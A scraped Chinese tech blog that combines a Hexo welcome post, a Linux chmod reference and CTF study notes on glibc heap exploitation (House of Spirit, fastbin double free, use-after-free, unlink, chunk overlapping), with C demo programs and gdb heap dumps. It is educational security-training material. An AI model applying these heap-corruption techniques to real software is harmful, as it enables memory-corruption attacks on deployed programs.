0%

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

Linux chmod命令

Linux chmod(英文全拼:change mode)命令是控制用户对文件的权限的命令

Linux/Unix 的文件调用权限分为三级 : 文件所有者(Owner)、用户组(Group)、其它用户(Other Users)。

img

只有文件所有者和超级用户可以修改文件或目录的权限。可以使用绝对模式(八进制数字模式),符号模式指定文件的权限。

img

使用权限 : 所有使用者

语法

1
chmod [-cfvR] [--help] [--version] mode file...

参数说明

mode : 权限设定字串,格式如下 :

1
[ugoa...][[+-=][rwxX]...][,...]

其中:

  • u 表示该文件的拥有者,g 表示与该文件的拥有者属于同一个群体(group)者,o 表示其他以外的人,a 表示这三者皆是。
  • + 表示增加权限、- 表示取消权限、= 表示唯一设定权限。
  • r 表示可读取,w 表示可写入,x 表示可执行,X 表示只有当该文件是个子目录或者该文件已经被设定过为可执行。

其他参数说明:

  • -c : 若该文件权限确实已经更改,才显示其更改动作
  • -f : 若该文件权限无法被更改也不要显示错误讯息
  • -v : 显示权限变更的详细资料
  • -R : 对目前目录下的所有文件与子目录进行相同的权限变更(即以递归的方式逐个变更)
  • –help : 显示辅助说明
  • –version : 显示版本

符号模式

使用符号模式可以设置多个项目:who(用户类型),operator(操作符)和 permission(权限),每个项目的设置可以用逗号隔开。 命令 chmod 将修改 who 指定的用户类型对文件的访问权限,用户类型由一个或者多个字母在 who 的位置来说明,如 who 的符号模式表所示:

who 用户类型 说明
u user 文件所有者
g group 文件所有者所在组
o others 所有其他用户
a all 所有用户, 相当于 ugo

operator 的符号模式表:

Operator 说明
+ 为指定的用户类型增加权限
- 去除指定用户类型的权限
= 设置指定用户权限的设置,即将用户类型的所有权限重新设置

permission 的符号模式表:

模式 名字 说明
r 设置为可读权限
w 设置为可写权限
x 执行权限 设置为可执行权限
X 特殊执行权限 只有当文件为目录文件,或者其他类型的用户有可执行权限时,才将文件权限设置可执行
s setuid/gid 当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限
t 粘贴位 设置粘贴位,只有超级用户可以设置该位,只有文件所有者u可以使用该位

八进制语法

chmod命令可以使用八进制数来指定权限。文件或目录的权限位是由9个权限位来控制,每三位为一组,它们分别是文件所有者(User)的读、写、执行,用户组(Group)的读、写、执行以及其它用户(Other)的读、写、执行。历史上,文件权限被放在一个比特掩码中,掩码中指定的比特位设为1,用来说明一个类具有相应的优先级。

# 权限 rwx 二进制
7 读 + 写 + 执行 rwx 111
6 读 + 写 rw- 110
5 读 + 执行 r-x 101
4 只读 r– 100
3 写 + 执行 -wx 011
2 只写 -w- 010
1 只执行 –x 001
0 000

例如, 765 将这样解释:

  • 所有者的权限用数字表达:属主的那三个权限位的数字加起来的总和。如 rwx ,也就是 4+2+1 ,应该是 7。
  • 用户组的权限用数字表达:属组的那个权限位数字的相加的总和。如 rw- ,也就是 4+2+0 ,应该是 6。
  • 其它用户的权限数字表达:其它用户权限位的数字相加的总和。如 r-x ,也就是 4+0+1 ,应该是 5。

实例

将文件 file1.txt 设为所有人皆可读取 :

1
chmod ugo+r file1.txt

将文件 file1.txt 设为所有人皆可读取 :

1
chmod a+r file1.txt

将文件 file1.txt 与 file2.txt 设为该文件拥有者,与其所属同一个群体者可写入,但其他以外的人则不可写入 :

1
chmod ug+w,o-w file1.txt file2.txt

为 ex1.py 文件拥有者增加可执行权限:

1
chmod u+x ex1.py

将目前目录下的所有文件与子目录皆设为任何人可读取 :

1
chmod -R a+r *

此外chmod也可以用数字来表示权限如 :

1
chmod 777 file

语法为:

1
chmod abc file

其中a,b,c各为一个数字,分别表示User、Group、及Other的权限。

r=4,w=2,x=1

  • 若要 rwx 属性则 4+2+1=7;
  • 若要 rw- 属性则 4+2=6;
  • 若要 r-x 属性则 4+1=5。
1
chmod a=rwx file

1
chmod 777 file

效果相同

1
chmod ug=rwx,o=x file

1
chmod 771 file

效果相同

若用 chmod 4755 filename 可使此程序具有 root 的权限。

更多说明

命令 说明
chmod a+r *file* 给file的所有用户增加读权限
chmod a-x *file* 删除file的所有用户的执行权限
chmod a+rw *file* 给file的所有用户增加读写权限
chmod +rwx *file* 给file的所有用户增加读写执行权限
chmod u=rw,go= *file* 对file的所有者设置读写权限,清空该用户组和其他用户对file的所有权限(空格代表无权限)
chmod -R u+r,go-r *docs* 对目录docs和其子目录层次结构中的所有文件给用户增加读权限,而对用户组和其他用户删除读权限
chmod 664 *file* 对file的所有者和用户组设置读写权限, 为其其他用户设置读权限
chmod 0755 *file* 相当于u=rwx (4+2+1),go=rx (4+1 & 4+1)0 没有特殊模式。
chmod 4755 *file* 4设置了设置用户ID位,剩下的相当于 u=rwx (4+2+1),go=rx (4+1 & 4+1)。
find path/ -type d -exec chmod a-x {} \; 删除可执行权限对path/以及其所有的目录(不包括文件)的所有用户,使用’-type f’匹配文件
find path/ -type d -exec chmod a+x {} \; 允许所有用户浏览或通过目录path/

House Of Spirit

核心:

在目标位置处伪造fastbin chunk,并将其释放,从而达到分配指定地址的chunk的目的

特征:

fastbin double free所释放的chunk是本身程序自己malloc产生的,但是house of spirit是去释放指定地址的chunk。那么这个chunk我们可以通过伪造的方式构建,他可以是任意可写地址。在释放时,需要经过一些检查,去判断该释放的chunk是否为程序自身创建的。那么需要绕过这些检查:

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理

    IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位

  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

    因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐。

    比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX0或0xXXXX4。

    ​ 64位的话地址就应该在0xXXXX0或0xXXXX8。

  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐

    fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置

  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

    fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。

    32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。

    最大不能超过av->system_mem,即128kb。

    next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小于128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk。

  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

    这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断。

Fastbin Attack

图文源好好说话之Fastbin Attack(1):Fastbin Double Free_pwn 好好说话-CSDN博客根据自己理解做了摘抄

​ 这一类漏洞利用的方法主要基于fastbin机制的缺陷,其实fastbin attack并不是指某一种利用方法,而是一些。这类利用的前提是:

存在堆溢出、use-after-free等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中

​ 如果细分的话,可以做如下的分类:

Fastbin Double Free
House of Spirit
Alloc to Stack
Arbitrary Alloc

​ 前两种主要漏洞侧重于利用free函数释放的真的 chunk或伪造的chunk,然后再次申请chunk进行攻击,后两种侧重于故意修改fd指针,直接利用malloc申请指定位置chunk进行攻击。主要讲解Fastbin Double Free。

原理
fastbin attack存在的原因在于fastbin时使用单向链表来维护释放的堆块的,并且由fastbin管理的chunk即使被释放,其next_chunk的prev_inuse位也不会被清空。

  • 在fastbin中后一个被释放的chunk的fd指向前一个被释放的chunk的prev_size,main_arena指向最后一个被释放的chunk的prev_size。
  • 看一下在释放阶段的chunk的prev_inuse标志位为1,回来在看释放后的内存情况,chunk的prev_inuse依然还是1不变。
  • fastbin在执行free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。

Fastbin Double Free

fastbin中的chunk被释放两次及以上。后果是多次分配可从fastbin链表中取出同一个堆块,结合堆块的数据内容可以实现类似于**类型混淆(type confused)**的效果。

Fastbin Double Free成功利用主要原因:

fastbin的堆块被释放后next_chunk的prev_inuse位不会被清空。
fastbin在执行free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。对于链表后面的块并没有进行验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 1 //gcc -g hollk4.c -o hollk4
2 #include<stdio.h>
3
4 typedef struct _chunk
5 {
6 long long pre_size;
7 long long size;
8 long long fd;
9 long long bk;
10 } CHUNK,*PCHUNK;
11
12 CHUNK bss_chunk;
13
14 int main(void)
15 {
16 void *chunk1,*chunk2,*chunk3;
17 void *chunk_a,*chunk_b;
18
19 bss_chunk.size=0x21;
20 chunk1=malloc(0x10);
21 chunk2=malloc(0x10);
22
23 free(chunk1);
24 free(chunk2);
25 free(chunk1);
26
27 chunk_a=malloc(0x10);
28 *(long long *)chunk_a=&bss_chunk;
29 malloc(0x10);
30 malloc(0x10);
31 chunk_b=malloc(0x10);
32 printf("%p",chunk_b);
33 return 0;
34 }

首先经过double free之后fastbin中的单向链表为chunk1_double –> chunk2 –> chunk1在经过一次malloc申请后main_arena指向的chunk1_double被重新启用,即chunk1倍重新启用,main_arena指向chunk2,并且将chunk1的fd从原来的指向chunk2修改为指向结构体指针chunk1 –> bss_chunk,也就是说在fastbin单向链表中bss_chunk已经作为chunk1前一个被释放的块的存在了

接下来第二次malloc申请后main_arena指向的chunk2被启用,main_arena重新指向chunk1

第三次malloc申请后chunk1再一次被启用,main_arena指向chunk的fd指向的bss_chunk

那么在第四次malloc申请的时候此时main_arena指向的bss_chunk就会被启用

虽然bss_chunk并不是在内存中正常申请的chunk,但是由于我们可以修改chunk1的fd,使他指向bss_chunk,那么即使bss_chunk位于bss段,也会被当作一个chunk来被启用

那么在程序第31行代码中chunk_b其实被赋予的就是bss_chunk的结构体指针,所以在第32行输出的时候实际输出的是bss_chunk的chunk地址

Use After Free
原理:

使用被释放的内存块。其实当一个内存块被释放之后重新使用有如下几种情况:

  1. 内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃
  2. 内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转
  3. 内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

我们一般所指的Use After Free漏洞主要是后两种,一般将释放后没有被设置为NULL的内存指针为dangling pointer

Tips:

有且仅有指针不置空,才能做到对其的二次利用(free可以,但指针置空不可)。

先被释放的往往最后启用,最后释放往往最先启用。

被释放后,user_date的内容不会被清除,会被保留。(可利用此点‘更改’不能改动的chunk)

Unlink
Unlink是什么
在讲那个wiki上被转发烂了的chunk图之前有两个点先解决一下:

unlink是什么
什么时候执行了unlink
这两个点也是我在初期一直都很困惑的地方,直到翻看了libc的源码(可以在这里下载,我下载的是2.23),在malloc.c中找到了unlink。unlink其实是libc中定义的一个宏,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

那什么时候执行了unlink呢?在执行free()函数时执行了 _int_free()函数,在_int_free()函数中调用了unlink宏,大概的意思如下(注意_int_free()是函数不是宏):

1
2
3
4
5
6
7
8
#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}

堆释放
好了关于unlink的部分先暂停一下,这里我们需要回顾一下调用free()函数堆释放这部分的知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//gcc -g test.c -o test
#include<stdio.h>

void main(){
long *hollk1 = malloc(0x80);
long *first_chunk = malloc(0x80);
long *hollk3 = malloc(0x80);
long *second_chunk = malloc(0x80);
long *hollk5 = malloc(0x80);
long *third_chunk = malloc(0x80);
long *hollk7 = malloc(0x80);

free(first_chunk);
free(second_chunk);
free(third_chunk);

return 0;
}

举一个例子,这里申请了7个chunk,接着依次释放了first_chunk、second_chunk、third_chunk。这里为什么释放这几个chunk呢,因为地址相邻的chunk释放之后会进行合并,地址不相邻的时候不会合并。由于申请的是0x80的chunk,所以在释放之后不会进fastbin而是先进unsortbin。我们用gdb打开编译好的例子,因为使用了-g参数,所以我们在第17行使用命令b 17下断点,接下来让程序跑起来,使用命令bin我们看一下双向链表中的排列结构:

离近点看! 可以模糊的看到已经有三个chunk_free进入了unsortbin。那么这三个chunk_free从右向左分别对应着first_chunk、second_chunk、third_chunk,我们使用heap命令查看一下这几个chunk:

这几个释放的chunk已经按照unsortbin中的顺序排列。这里主要看每一个chunk的fd、bk:

first_bk -> second
second_fd -> first 、 second_bk -> third
third_fd -> second`

unlink过程及检查
下面呢给出wiki上的链接,说实话wiki上的图和说明我是真的没看懂。。。。。所以我按照字节的例子和理解写出来:

wiki链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/

wiki中unlink关键执行了如下的步骤:

FD = P -> fd = target addr -12
BK = P -> bk = expect value
FD -> bk = BK,即 *(target addr - 12 + 12) = BK = expect value
BK -> fd = FD,即 *(expect value + 8) = FD = target addr - 12
这后面的target、expect什么的我就不知道是啥了,感觉好像没什么用处。。。。。

我自己的理解
在此声明这里是我个人的理解,没有说wiki不对什么的,而且也是在wiki的基础上做了一些更加通俗易懂的变化

还是用前面堆释放的例子,依次释放了first_chunk、second_chunk、third_chunk,也就是说首先释放的是first,然后释放的是second,最后释放的是third。在双链表中的结构如下:

个人的理解unlink其实是想把second_chunk摘掉,那怎么摘呢?

在前面堆释放部分我们讲过fd其实是前一个被释放chunk的prev_size地址,bk是后一个被释放的chunk的prev_size地址,所以:

如果second_chunk被摘掉,那么就会变成下面这样:

由于first_chunk是最开始被释放的,所以first_chunk相对于third_chunk是前一个被释放的块。同样的third_chunk是之后释放的,所以third_chunk相对于first_chunk是后一个被释放的块,所以:

1
2
3
first_bk = third_prev_addr
third_fd = first_prev_addr

所以我的理解中对应着wiki的表现形式就是:

1
2
3
4
5
second_fd = first_prev_addr
second_bk = third_prev_addr
first_bk = third_prev_addr
third_fd = first_prev_addr

※※※※※※※※执行流程有先后顺序※※※※※※※※

chunk状态检查
现在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。但是恰恰是这个检查的流程本身就存在一些问题,能够让我们进行利用。回顾一下以往我们做的题,大部分都是顺着原有的执行流程走,但是通过修改执行所用的数据来改变执行走向。unlink同样可以以这种方式进行利用,由于unlink是在free()函数中调用的,所以我们只看chunk空闲时都需要检查写什么

我们还是拿前面的例子来说:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 1 //gcc -g test.c -o test
2 #include<stdio.h>
3
4 void main(){
5 long *hollk1 = malloc(0x80);
6 long *first_chunk = malloc(0x80);
7 long *hollk3 = malloc(0x80);
8 long *second_chunk = malloc(0x80);
9 long *hollk5 = malloc(0x80);
10 long *third_chunk = malloc(0x80);
11 long *hollk7 = malloc(0x80);
12
13 free(first_chunk);
14 free(second_chunk);
15 free(third_chunk);
16
17 return 0;
18 }

这次我们在第17行下断点,并且查看一下second_chunk:

检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态

检查3:检查前后被释放chunk的fd和bk

可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址

以上三点就是检查chunk是否空闲的三大标准。

Chunk Extend and Overlapping(堆重叠)

介绍

chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:

  • 程序中存在基于堆的漏洞
  • 漏洞可以控制 chunk header 中的数据

原理

chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏。

在 ptmalloc 中,获取 chunk 块大小的操作如下

1
2
3
4
5
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)

一种是直接获取 chunk 的大小,不忽略掩码部分,另外一种是忽略掩码部分。

在 ptmalloc 中,获取下一 chunk 块地址的操作如下

1
2
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

即使用当前块指针加上当前块大小。

在 ptmalloc 中,获取前一个 chunk 信息的操作如下

1
2
3
4
5
/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小(可以通过改变prev_size来改变其指针所指位置)。

在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:

1
2
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。

通过上面几个宏可以看出,ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。

与 chunk extend 类似的还有一种称为 chunk shrink 的操作。这里只介绍 chunk extend 的利用。

基本示例 1:对 inuse 的 fastbin 进行 extend

简单来说,该利用的效果是通过更改第一个块的大小来控制第二个块的内容。 注意,我们的示例都是在 64 位的程序。如果想在 32 位下进行测试,可以把 8 字节偏移改为 4 字节

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(void)
{
void *ptr,*ptr1;

ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk

*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域

free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}

当两个 malloc 语句执行之后,堆的内存分布如下

1
2
3
4
5
0x602000:   0x0000000000000000  0x0000000000000021 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk

之后,我们把 chunk1 的 size 域更改为 0x41,0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为 0x40。在题目中这一步可以由堆溢出得到。

1
2
3
4
5
0x602000:   0x0000000000000000  0x0000000000000041 <=== 篡改大小
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1

执行 free 之后,我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk,一起释放了。

1
2
3
4
5
6
7
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602010, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00

之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块,此时就可以直接控制 chunk2 中的内容,我们也把这种状态称为 overlapping chunk。

1
2
3
4
call   0x400450 <malloc@plt>
mov QWORD PTR [rbp-0x8], rax

rax = 0x602010

基本示例 2:对 inuse 的 smallbin 进行 extend

通过之前深入理解堆的实现部分的内容,我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。 以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是 0x70)

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个 0x80 的chunk1
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并

*(int *)((int)ptr-0x8)=0xb1;
free(ptr);
ptr1=malloc(0xa0);
}
在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x602000:   0x0000000000000000  0x00000000000000b1 <===chunk1 篡改size域
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000021 <=== 防止合并的chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk

释放后,chunk1 把 chunk2 的内容吞并掉并一起置入 unsorted bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x602000:   0x0000000000000000  0x00000000000000b1 <=== 被放入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x00000000000000b0 0x0000000000000020 <=== 注意此处标记为空
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0xb0, flags=PREV_INUSE)

再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时我们就可以控制 chunk2 中的内容

1
2
3
4
    0x4005b0 <main+74>        call   0x400450 <malloc@plt>
0x4005b5 <main+79> mov QWORD PTR [rbp-0x8], rax

rax : 0x0000000000602010

基本示例 3:对 free 的 smallbin 进行 extend

示例 3 是在示例 2 的基础上进行的,这次我们先释放 chunk1,然后再修改处于 unsorted bin 中的 chunk1 的 size 域。

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2

free(ptr);//首先进行释放,使得chunk1进入unsorted bin

*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}

两次 malloc 之后的结果如下

1
2
3
4
5
6
7
8
9
10
11
12
0x602000:   0x0000000000000000  0x0000000000000091 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51

我们首先释放 chunk1 使它进入 unsorted bin 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
     unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)

0x602000: 0x0000000000000000 0x0000000000000091 <=== 进入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk

然后篡改 chunk1 的 size 域

1
2
3
4
5
6
7
8
9
10
11
12
0x602000:   0x0000000000000000  0x00000000000000b1 <=== size域被篡改
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51

此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。

Chunk Extend/Shrink 可以做什么

一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。

此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。

基本示例 4:通过 extend 后向 overlapping

这里展示通过 extend 进行后向 overlapping,这也是在 CTF 中最常出现的情况,通过 overlapping 可以实现其它的一些利用。

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x10);//分配第10x80 的chunk1
malloc(0x10); //分配第20x10 的chunk2
malloc(0x10); //分配第30x10 的chunk3
malloc(0x10); //分配第40x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}

在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。

基本示例 5:通过 extend 前向 overlapping

这里展示通过修改 pre_inuse 域和 pre_size 域实现合并前面的块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块

}

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

HITCON Training lab13

题目链接

基本信息

1
2
3
4
5
6
7
8
9
➜  hitcontraning_lab13 git:(master) file heapcreator
